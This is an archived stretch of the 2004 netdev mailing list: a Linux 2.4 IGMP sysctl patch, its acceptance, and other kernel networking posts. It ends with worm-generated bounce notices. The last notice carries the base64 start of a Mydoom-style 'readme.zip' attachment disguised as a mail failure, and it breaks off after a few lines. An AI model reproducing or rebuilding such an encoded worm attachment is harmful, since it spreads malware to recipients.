Content-type: multipart/alternative; Boundary="1__=07BBE4B8DFE186498f9e8a93df938690918c07BBE4B8DFE18649" --1__=07BBE4B8DFE186498f9e8a93df938690918c07BBE4B8DFE18649 Content-type: text/plain; charset=US-ASCII Dave, Here's the 2.4.x version of the "force IGMP version" sysctl patch. +-DLS diff -ruN linux-2.4.25-pre8/include/linux/inetdevice.h linux-2.4.25-pre8F1/include/linux/inetdevice.h --- linux-2.4.25-pre8/include/linux/inetdevice.h 2003-08-25 04:44:44.000000000 -0700 +++ linux-2.4.25-pre8F1/include/linux/inetdevice.h 2004-01-29 16:24:53.000000000 -0800 @@ -19,6 +19,7 @@ int tag; int arp_filter; int medium_id; + int force_igmp_version; void *sysctl; }; diff -ruN linux-2.4.25-pre8/include/linux/sysctl.h linux-2.4.25-pre8F1/include/linux/sysctl.h --- linux-2.4.25-pre8/include/linux/sysctl.h 2004-01-29 16:21:28.000000000 -0800 +++ linux-2.4.25-pre8F1/include/linux/sysctl.h 2004-01-29 16:39:42.000000000 -0800 @@ -359,6 +359,7 @@ NET_IPV4_CONF_TAG=12, NET_IPV4_CONF_ARPFILTER=13, NET_IPV4_CONF_MEDIUM_ID=14, + NET_IPV4_CONF_FORCE_IGMP_VERSION=15, }; /* /proc/sys/net/ipv4/netfilter */ diff -ruN linux-2.4.25-pre8/net/ipv4/devinet.c linux-2.4.25-pre8F1/net/ipv4/devinet.c --- linux-2.4.25-pre8/net/ipv4/devinet.c 2003-11-28 10:26:21.000000000 -0800 +++ linux-2.4.25-pre8F1/net/ipv4/devinet.c 2004-01-29 16:33:23.000000000 -0800 @@ -1057,7 +1057,7 @@ static struct devinet_sysctl_table { struct ctl_table_header *sysctl_header; - ctl_table devinet_vars[15]; + ctl_table devinet_vars[16]; ctl_table devinet_dev[2]; ctl_table devinet_conf_dir[2]; ctl_table devinet_proto_dir[2]; @@ -1106,6 +1106,9 @@ {NET_IPV4_CONF_ARPFILTER, "arp_filter", &ipv4_devconf.arp_filter, sizeof(int), 0644, NULL, &proc_dointvec}, + {NET_IPV4_CONF_FORCE_IGMP_VERSION, "force_igmp_version", + &ipv4_devconf.force_igmp_version, sizeof(int), 0644, NULL, + &proc_dointvec}, {0}}, {{NET_PROTO_CONF_ALL, "all", NULL, 0, 0555, devinet_sysctl.devinet_vars},{0}}, diff -ruN linux-2.4.25-pre8/net/ipv4/igmp.c linux-2.4.25-pre8F1/net/ipv4/igmp.c --- linux-2.4.25-pre8/net/ipv4/igmp.c 2004-01-29 16:21:28.000000000 -0800 +++ linux-2.4.25-pre8F1/net/ipv4/igmp.c 2004-01-29 16:22:55.000000000 -0800 @@ -122,10 +122,14 @@ * contradict to specs provided this delay is small enough. */ -#define IGMP_V1_SEEN(in_dev) ((in_dev)->mr_v1_seen && \ - time_before(jiffies, (in_dev)->mr_v1_seen)) -#define IGMP_V2_SEEN(in_dev) ((in_dev)->mr_v2_seen && \ - time_before(jiffies, (in_dev)->mr_v2_seen)) +#define IGMP_V1_SEEN(in_dev) (ipv4_devconf.force_igmp_version == 1 || \ + (in_dev)->cnf.force_igmp_version == 1 || \ + ((in_dev)->mr_v1_seen && \ + time_before(jiffies, (in_dev)->mr_v1_seen))) +#define IGMP_V2_SEEN(in_dev) (ipv4_devconf.force_igmp_version == 2 || \ + (in_dev)->cnf.force_igmp_version == 2 || \ + ((in_dev)->mr_v2_seen && \ + time_before(jiffies, (in_dev)->mr_v2_seen))) static void igmpv3_add_delrec(struct in_device *in_dev, struct ip_mc_list *im); static void igmpv3_del_delrec(struct in_device *in_dev, __u32 multiaddr); (See attached file: 2.4igmpsysctl.patch) --1__=07BBE4B8DFE186498f9e8a93df938690918c07BBE4B8DFE18649 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Dave,
Here's the 2.4.x version of the "force IGMP version" sysctl patch.

+-DLS

diff -ruN linux-2.4.25-pre8/include/linux/inetdevice.h linux-2.4.25-pre8F1/include/linux/inetdevice.h
--- linux-2.4.25-pre8/include/linux/inetdevice.h 2003-08-25 04:44:44.000000000 -0700
+++ linux-2.4.25-pre8F1/include/linux/inetdevice.h 2004-01-29 16:24:53.000000000 -0800
@@ -19,6 +19,7 @@
int tag;
int arp_filter;
int medium_id;
+ int force_igmp_version;
void *sysctl;
};

diff -ruN linux-2.4.25-pre8/include/linux/sysctl.h linux-2.4.25-pre8F1/include/linux/sysctl.h
--- linux-2.4.25-pre8/include/linux/sysctl.h 2004-01-29 16:21:28.000000000 -0800
+++ linux-2.4.25-pre8F1/include/linux/sysctl.h 2004-01-29 16:39:42.000000000 -0800
@@ -359,6 +359,7 @@
NET_IPV4_CONF_TAG=12,
NET_IPV4_CONF_ARPFILTER=13,
NET_IPV4_CONF_MEDIUM_ID=14,
+ NET_IPV4_CONF_FORCE_IGMP_VERSION=15,
};

/* /proc/sys/net/ipv4/netfilter */
diff -ruN linux-2.4.25-pre8/net/ipv4/devinet.c linux-2.4.25-pre8F1/net/ipv4/devinet.c
--- linux-2.4.25-pre8/net/ipv4/devinet.c 2003-11-28 10:26:21.000000000 -0800
+++ linux-2.4.25-pre8F1/net/ipv4/devinet.c 2004-01-29 16:33:23.000000000 -0800
@@ -1057,7 +1057,7 @@
static struct devinet_sysctl_table
{
struct ctl_table_header *sysctl_header;
- ctl_table devinet_vars[15];
+ ctl_table devinet_vars[16];
ctl_table devinet_dev[2];
ctl_table devinet_conf_dir[2];
ctl_table devinet_proto_dir[2];
@@ -1106,6 +1106,9 @@
{NET_IPV4_CONF_ARPFILTER, "arp_filter",
&ipv4_devconf.arp_filter, sizeof(int), 0644, NULL,
&proc_dointvec},
+ {NET_IPV4_CONF_FORCE_IGMP_VERSION, "force_igmp_version",
+ &ipv4_devconf.force_igmp_version, sizeof(int), 0644, NULL,
+ &proc_dointvec},
{0}},

{{NET_PROTO_CONF_ALL, "all", NULL, 0, 0555, devinet_sysctl.devinet_vars},{0}},
diff -ruN linux-2.4.25-pre8/net/ipv4/igmp.c linux-2.4.25-pre8F1/net/ipv4/igmp.c
--- linux-2.4.25-pre8/net/ipv4/igmp.c 2004-01-29 16:21:28.000000000 -0800
+++ linux-2.4.25-pre8F1/net/ipv4/igmp.c 2004-01-29 16:22:55.000000000 -0800
@@ -122,10 +122,14 @@
* contradict to specs provided this delay is small enough.
*/

-#define IGMP_V1_SEEN(in_dev) ((in_dev)->mr_v1_seen && \
- time_before(jiffies, (in_dev)->mr_v1_seen))
-#define IGMP_V2_SEEN(in_dev) ((in_dev)->mr_v2_seen && \
- time_before(jiffies, (in_dev)->mr_v2_seen))
+#define IGMP_V1_SEEN(in_dev) (ipv4_devconf.force_igmp_version == 1 || \
+ (in_dev)->cnf.force_igmp_version == 1 || \
+ ((in_dev)->mr_v1_seen && \
+ time_before(jiffies, (in_dev)->mr_v1_seen)))
+#define IGMP_V2_SEEN(in_dev) (ipv4_devconf.force_igmp_version == 2 || \
+ (in_dev)->cnf.force_igmp_version == 2 || \
+ ((in_dev)->mr_v2_seen && \
+ time_before(jiffies, (in_dev)->mr_v2_seen)))

static void igmpv3_add_delrec(struct in_device *in_dev, struct ip_mc_list *im);
static void igmpv3_del_delrec(struct in_device *in_dev, __u32 multiaddr);

(See attached file: 2.4igmpsysctl.patch)
--1__=07BBE4B8DFE186498f9e8a93df938690918c07BBE4B8DFE18649-- --0__=07BBE4B8DFE186498f9e8a93df938690918c07BBE4B8DFE18649 Content-type: application/octet-stream; name="2.4igmpsysctl.patch" Content-Disposition: attachment; filename="2.4igmpsysctl.patch" Content-ID: <10__=07BBE4B8DFE186498f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNC4yNS1wcmU4L2luY2x1ZGUvbGludXgvaW5ldGRldmljZS5oIGxp bnV4LTIuNC4yNS1wcmU4RjEvaW5jbHVkZS9saW51eC9pbmV0ZGV2aWNlLmgKLS0tIGxpbnV4LTIu NC4yNS1wcmU4L2luY2x1ZGUvbGludXgvaW5ldGRldmljZS5oCTIwMDMtMDgtMjUgMDQ6NDQ6NDQu MDAwMDAwMDAwIC0wNzAwCisrKyBsaW51eC0yLjQuMjUtcHJlOEYxL2luY2x1ZGUvbGludXgvaW5l dGRldmljZS5oCTIwMDQtMDEtMjkgMTY6MjQ6NTMuMDAwMDAwMDAwIC0wODAwCkBAIC0xOSw2ICsx OSw3IEBACiAJaW50CXRhZzsKIAlpbnQgICAgIGFycF9maWx0ZXI7CiAJaW50CW1lZGl1bV9pZDsK KwlpbnQJZm9yY2VfaWdtcF92ZXJzaW9uOwogCXZvaWQJKnN5c2N0bDsKIH07CiAKZGlmZiAtcnVO IGxpbnV4LTIuNC4yNS1wcmU4L2luY2x1ZGUvbGludXgvc3lzY3RsLmggbGludXgtMi40LjI1LXBy ZThGMS9pbmNsdWRlL2xpbnV4L3N5c2N0bC5oCi0tLSBsaW51eC0yLjQuMjUtcHJlOC9pbmNsdWRl L2xpbnV4L3N5c2N0bC5oCTIwMDQtMDEtMjkgMTY6MjE6MjguMDAwMDAwMDAwIC0wODAwCisrKyBs aW51eC0yLjQuMjUtcHJlOEYxL2luY2x1ZGUvbGludXgvc3lzY3RsLmgJMjAwNC0wMS0yOSAxNjoz OTo0Mi4wMDAwMDAwMDAgLTA4MDAKQEAgLTM1OSw2ICszNTksNyBAQAogCU5FVF9JUFY0X0NPTkZf VEFHPTEyLAogCU5FVF9JUFY0X0NPTkZfQVJQRklMVEVSPTEzLAogCU5FVF9JUFY0X0NPTkZfTUVE SVVNX0lEPTE0LAorCU5FVF9JUFY0X0NPTkZfRk9SQ0VfSUdNUF9WRVJTSU9OPTE1LAogfTsKIAog LyogL3Byb2Mvc3lzL25ldC9pcHY0L25ldGZpbHRlciAqLwpkaWZmIC1ydU4gbGludXgtMi40LjI1 LXByZTgvbmV0L2lwdjQvZGV2aW5ldC5jIGxpbnV4LTIuNC4yNS1wcmU4RjEvbmV0L2lwdjQvZGV2 aW5ldC5jCi0tLSBsaW51eC0yLjQuMjUtcHJlOC9uZXQvaXB2NC9kZXZpbmV0LmMJMjAwMy0xMS0y OCAxMDoyNjoyMS4wMDAwMDAwMDAgLTA4MDAKKysrIGxpbnV4LTIuNC4yNS1wcmU4RjEvbmV0L2lw djQvZGV2aW5ldC5jCTIwMDQtMDEtMjkgMTY6MzM6MjMuMDAwMDAwMDAwIC0wODAwCkBAIC0xMDU3 LDcgKzEwNTcsNyBAQAogc3RhdGljIHN0cnVjdCBkZXZpbmV0X3N5c2N0bF90YWJsZQogewogCXN0 cnVjdCBjdGxfdGFibGVfaGVhZGVyICpzeXNjdGxfaGVhZGVyOwotCWN0bF90YWJsZSBkZXZpbmV0 X3ZhcnNbMTVdOworCWN0bF90YWJsZSBkZXZpbmV0X3ZhcnNbMTZdOwogCWN0bF90YWJsZSBkZXZp bmV0X2RldlsyXTsKIAljdGxfdGFibGUgZGV2aW5ldF9jb25mX2RpclsyXTsKIAljdGxfdGFibGUg ZGV2aW5ldF9wcm90b19kaXJbMl07CkBAIC0xMTA2LDYgKzExMDYsOSBAQAogCXtORVRfSVBWNF9D T05GX0FSUEZJTFRFUiwgImFycF9maWx0ZXIiLAogCSAmaXB2NF9kZXZjb25mLmFycF9maWx0ZXIs IHNpemVvZihpbnQpLCAwNjQ0LCBOVUxMLAogCSAmcHJvY19kb2ludHZlY30sCisJe05FVF9JUFY0 X0NPTkZfRk9SQ0VfSUdNUF9WRVJTSU9OLCAiZm9yY2VfaWdtcF92ZXJzaW9uIiwKKwkgJmlwdjRf ZGV2Y29uZi5mb3JjZV9pZ21wX3ZlcnNpb24sIHNpemVvZihpbnQpLCAwNjQ0LCBOVUxMLAorCSAm cHJvY19kb2ludHZlY30sCiAJIHswfX0sCiAKIAl7e05FVF9QUk9UT19DT05GX0FMTCwgImFsbCIs IE5VTEwsIDAsIDA1NTUsIGRldmluZXRfc3lzY3RsLmRldmluZXRfdmFyc30sezB9fSwKZGlmZiAt cnVOIGxpbnV4LTIuNC4yNS1wcmU4L25ldC9pcHY0L2lnbXAuYyBsaW51eC0yLjQuMjUtcHJlOEYx L25ldC9pcHY0L2lnbXAuYwotLS0gbGludXgtMi40LjI1LXByZTgvbmV0L2lwdjQvaWdtcC5jCTIw MDQtMDEtMjkgMTY6MjE6MjguMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjQuMjUtcHJlOEYx L25ldC9pcHY0L2lnbXAuYwkyMDA0LTAxLTI5IDE2OjIyOjU1LjAwMDAwMDAwMCAtMDgwMApAQCAt MTIyLDEwICsxMjIsMTQgQEAKICAqIGNvbnRyYWRpY3QgdG8gc3BlY3MgcHJvdmlkZWQgdGhpcyBk ZWxheSBpcyBzbWFsbCBlbm91Z2guCiAgKi8KIAotI2RlZmluZSBJR01QX1YxX1NFRU4oaW5fZGV2 KSAoKGluX2RldiktPm1yX3YxX3NlZW4gJiYgXAotCQl0aW1lX2JlZm9yZShqaWZmaWVzLCAoaW5f ZGV2KS0+bXJfdjFfc2VlbikpCi0jZGVmaW5lIElHTVBfVjJfU0VFTihpbl9kZXYpICgoaW5fZGV2 KS0+bXJfdjJfc2VlbiAmJiBcCi0JCXRpbWVfYmVmb3JlKGppZmZpZXMsIChpbl9kZXYpLT5tcl92 Ml9zZWVuKSkKKyNkZWZpbmUgSUdNUF9WMV9TRUVOKGluX2RldikgKGlwdjRfZGV2Y29uZi5mb3Jj ZV9pZ21wX3ZlcnNpb24gPT0gMSB8fCBcCisJCShpbl9kZXYpLT5jbmYuZm9yY2VfaWdtcF92ZXJz aW9uID09IDEgfHwgXAorCQkoKGluX2RldiktPm1yX3YxX3NlZW4gJiYgXAorCQl0aW1lX2JlZm9y ZShqaWZmaWVzLCAoaW5fZGV2KS0+bXJfdjFfc2VlbikpKQorI2RlZmluZSBJR01QX1YyX1NFRU4o aW5fZGV2KSAoaXB2NF9kZXZjb25mLmZvcmNlX2lnbXBfdmVyc2lvbiA9PSAyIHx8IFwKKwkJKGlu X2RldiktPmNuZi5mb3JjZV9pZ21wX3ZlcnNpb24gPT0gMiB8fCBcCisJCSgoaW5fZGV2KS0+bXJf djJfc2VlbiAmJiBcCisJCXRpbWVfYmVmb3JlKGppZmZpZXMsIChpbl9kZXYpLT5tcl92Ml9zZWVu KSkpCiAKIHN0YXRpYyB2b2lkIGlnbXB2M19hZGRfZGVscmVjKHN0cnVjdCBpbl9kZXZpY2UgKmlu X2Rldiwgc3RydWN0IGlwX21jX2xpc3QgKmltKTsKIHN0YXRpYyB2b2lkIGlnbXB2M19kZWxfZGVs cmVjKHN0cnVjdCBpbl9kZXZpY2UgKmluX2RldiwgX191MzIgbXVsdGlhZGRyKTsK --0__=07BBE4B8DFE186498f9e8a93df938690918c07BBE4B8DFE18649-- From davem@redhat.com Fri Jan 30 12:52:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 30 Jan 2004 12:52:54 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0UKqn7J025404 for ; Fri, 30 Jan 2004 12:52:50 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0UKqmb15381; Fri, 30 Jan 2004 15:52:48 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0UKqma17104; Fri, 30 Jan 2004 15:52:48 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0UKqLkC024493; Fri, 30 Jan 2004 15:52:21 -0500 Date: Fri, 30 Jan 2004 12:52:47 -0800 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: sysctl variable to force IGMP version [PATCH] Message-Id: <20040130125247.2096e842.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2906 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 30 Jan 2004 13:49:40 -0700 David Stevens wrote: > Here's the 2.4.x version of the "force IGMP version" sysctl patch. Thanks a lot David, applied. From zaitcev@redhat.com Fri Jan 30 17:03:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 30 Jan 2004 17:03:32 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0V13L7J003340 for ; Fri, 30 Jan 2004 17:03:21 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0V13Ib08780; Fri, 30 Jan 2004 20:03:18 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0V13Ia16483; Fri, 30 Jan 2004 20:03:18 -0500 Received: from dhcp-172-16-25-184.sfbay.redhat.com (dhcp-172-16-25-184.sfbay.redhat.com [172.16.25.184]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0V12okC021622; Fri, 30 Jan 2004 20:02:50 -0500 Date: Fri, 30 Jan 2004 17:03:16 -0800 From: Pete Zaitcev To: schwidefsky@de.ibm.com Cc: zaitcev@redhat.com, , pavlic@de.ibm.com, netdev@oss.sgi.com Subject: netdevice->generate_eui64 Message-Id: <20040130170316.789e8939.zaitcev@redhat.com> Organization: Red Hat, Inc. X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2907 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zaitcev@redhat.com Precedence: bulk X-list: netdev Hi, guys: Does anyone know where I can find a patch to add dev->generate_eui64? The qeth in 2.6 tree requires it to be built (with IPv6). I am talking about a descendant of this patch: http://www.ussg.iu.edu/hypermail/linux/net/0303.0/0037.html Thanks, -- Pete From willy@w.ods.org Fri Jan 30 23:36:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 30 Jan 2004 23:36:56 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0V7ao7J017269 for ; Fri, 30 Jan 2004 23:36:51 -0800 Date: Sat, 31 Jan 2004 08:36:03 +0100 From: Willy Tarreau To: Kallol Biswas Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Fwd: receive path with fragmented skbs Message-ID: <20040131073603.GA17225@alpha.home.local> References: <1075504343.21310.23.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1075504343.21310.23.camel@localhost.localdomain> User-Agent: Mutt/1.4i X-archive-position: 2908 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Hi, you should have posted this to the netdev list : netdev@oss.sgi.com. You don't need to resend, I have CC'd it. Willy On Fri, Jan 30, 2004 at 03:12:24PM -0800, Kallol Biswas wrote: > Hello, > We have been developing drivers and networking software on > a 10 gigabit ethernet adapter from S2io Inc (www.s2io.com). There is a > requirement that the ethernet header, IP+TCP headers have to be cache > aligned and the payload and the IP+TCP headers have to be in different > fragments. So we have created receive path skbs with data size big > enough to hold the ethernet header and two fragments, one fragment for > the IP+TCP header and the other for payload. The card can directly dma > into the three receive scatter buffers when a frame arrives. > > We could not get ping working with this design of receive skbs, > but if a skb is linearized with skb_linearize() before calling > netif_rx(), ping works. > > /proc/net/snmp was printed, no frame had any error. Probably no one has > ever tested the receive path of the stack with fragmented skbs, am I > right? One of the ways this problem can be debugged is to find out where > exactly the packets get dropped. Any comment? > > Kallol > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ From smadmin@hns.com Sat Jan 31 03:20:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 03:20:49 -0800 (PST) Received: from gateway.hns.com (gateway.hns.com [208.236.67.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VBKf7J028265 for ; Sat, 31 Jan 2004 03:20:41 -0800 Received: from gateway.hns.com (localhost [127.0.0.1]) by gateway.hns.com (Switch-3.1.2/Switch-3.1.0) with ESMTP id i0VBKcac029874 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jan 2004 06:20:39 -0500 (EST) Received: (from smadmin@localhost) by gateway.hns.com (Switch-3.1.2/Switch-3.1.0/Submit) id i0VBKbhN029867; Sat, 31 Jan 2004 06:20:37 -0500 (EST) Date: Sat, 31 Jan 2004 06:20:37 -0500 (EST) From: Sendmail Switch User Message-Id: <200401311120.i0VBKbhN029867@gateway.hns.com> To: netdev@oss.sgi.com Subject: Filter scan result notification from gateway MIME-Version: 1.0 Content-Type: multipart/report; report-type="x-scan-result"; boundary="ee2dd3a3045b3f6b5792ed46a140518b" X-archive-position: 2909 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: smadmin@hns.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --ee2dd3a3045b3f6b5792ed46a140518b Content-Type: text/plain; charset=us-ascii This is a filter detection notice generated by Sendmail Attachment Filter v2.5.0 at gateway. The original message was being transferred from [202.30.31.97], and was ultimately rejected. The scanned parts of this message contained 1 infection(s), 0 of which were successfully repaired. Details are provided in the following parts of this message. The second part contains information about the scan that was performed and the result. The third part of this notice contains the original headers from the infected message. Please contact postmaster@gateway for further information. --ee2dd3a3045b3f6b5792ed46a140518b Content-Type: message/x-scan-result Reporting-MTA: dns;gateway.hns.com Original-Message-Id: (none) Received-From-MTA: x-ip-address;[202.30.31.97] Scanning-Agent: Sendmail Attachment Filter v2.5.0 (4.2.40/4321) Original-Sender: netdev@oss.sgi.com Original-Recipients: jheath@hns.com Segment-Type: MIME;text/plain Segment-Label: 1.1 Scan-Action: virus Scan-Result: none Action-Taken: none Segment-Type: MIME;application/octet-stream Segment-Label: 1.2 Filename: file.zip Scan-Action: virus Scan-Result: infected;W32/Mydoom.a@MM Action-Taken: none --ee2dd3a3045b3f6b5792ed46a140518b Content-Type: text/rfc822-headers From: netdev@oss.sgi.com To: jheath@hns.com Subject: Mail Delivery System Date: Sat, 31 Jan 2004 20:15:54 +0900 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_6B264269.3FC7834F" X-Priority: 3 X-MSMail-Priority: Normal --ee2dd3a3045b3f6b5792ed46a140518b-- From FETCHMAIL-DAEMON@in.dishatech.com Sat Jan 31 07:04:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 07:04:31 -0800 (PST) Received: from in.dishatech.com ([203.199.165.109]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VF4P7J007161 for ; Sat, 31 Jan 2004 07:04:26 -0800 Date: Sat, 31 Jan 2004 07:04:25 -0800 Message-Id: <200401311504.i0VF4P7J007161@oss.sgi.com> Received: (qmail 7535 invoked from network); 31 Jan 2004 15:05:45 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by in.dishatech.com with SMTP; 31 Jan 2004 15:05:45 -0000 From: FETCHMAIL-DAEMON@in.dishatech.com To: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="foo-mani-padme-hum-6612-6608-1075561545" X-archive-position: 2910 Subject: (no subject) X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: FETCHMAIL-DAEMON@in.dishatech.com Precedence: bulk X-list: netdev --foo-mani-padme-hum-6612-6608-1075561545 Content-Type: text/plain General SMTP/ESMTP error. --foo-mani-padme-hum-6612-6608-1075561545 Content-Type: message/delivery-status Reporting-MTA: dns; localhost Final-Recipient: rfc822; alice@in.dishatech.com Last-Attempt-Date: Sat, 31 Jan 2004 20:35:45 +0530 (IST) Action: failed Status: 5.0.0 Diagnostic-Code: 554 mail server permanently rejected message (#5.3.0) --foo-mani-padme-hum-6612-6608-1075561545 Content-Type: text/rfc822-headers Delivered-To: pune@dishatech.com Received: (qmail 27512 invoked by uid 9653); 31 Jan 2004 14:59:25 -0000 Delivered-To: alice@dishatech.com Received: (qmail 27483 invoked by uid 9653); 31 Jan 2004 14:59:22 -0000 Received: from unknown (HELO oss.sgi.com) ([80.191.58.129]) (envelope-sender ) by 198.63.37.181 (qmail-ldap-1.03) with SMTP for ; 31 Jan 2004 14:59:22 -0000 From: netdev@oss.sgi.com To: alice@dishatech.com Subject: Status Date: Thu, 29 Jan 2004 18:29:39 +0330 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0000_288D605E.7F2E982D" X-Priority: 3 X-MSMail-Priority: Normal --foo-mani-padme-hum-6612-6608-1075561545-- From MAILER-DAEMON@oss.sgi.com Sat Jan 31 07:13:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 07:13:38 -0800 (PST) Received: from klatu.urbancode.com (cle-DSL166-cust028.mpowercom.net [208.57.166.28] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VFDU7J007722 for ; Sat, 31 Jan 2004 07:13:30 -0800 Message-Id: <200401311513.i0VFDU7J007722@oss.sgi.com> Received: (qmail 25576 invoked for bounce); 31 Jan 2004 16:17:49 -0000 Date: 31 Jan 2004 16:17:49 -0000 From: matt@klatu.urbancode.com To: netdev@oss.sgi.com Subject: failure notice X-archive-position: 2911 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: matt@klatu.urbancode.com Precedence: bulk X-list: netdev Hi. This is the qmail-send program at klatu.urbancode.com. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. : Sorry, no mailbox here by that name. (#5.1.1) --- Below this line is a copy of the message. Return-Path: Received: (qmail 25561 invoked from network); 31 Jan 2004 16:17:43 -0000 Received: from unknown (HELO oss.sgi.com) (219.144.202.168) by klatu.urbancode.com with SMTP; 31 Jan 2004 16:17:43 -0000 From: netdev@oss.sgi.com To: tom@urbancode.com Subject: Mail Transaction Failed Date: Sat, 31 Jan 2004 23:12:36 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_427118CE.42C41700" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0013_427118CE.42C41700 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Mail transaction failed. Partial message is available. ------=_NextPart_000_0013_427118CE.42C41700 Content-Type: application/octet-stream; name="readme.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="readme.zip" UEsDBAoAAAAAAJJ5PzDKJx+eAFgAAABYAAAKAAAAcmVhZG1lLnNjck1akAADAAAABAAAAP//AAC4 AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKgAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAAAAAAAAAAAAAAAAA 4AAPAQsBBwAAUAAAABAAAABgAABgvgAAAHAAAADAAAAAAEoAABAAAAACAAAEAAAAAAAAAAQAAAAA AAAAANAAAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA6MEAADAB AAAAwAAA6AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA VVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAAFAAAABwAAAA UAAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAwAAAAAQAAABUAAAAAAAAAAAAAAAA AABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 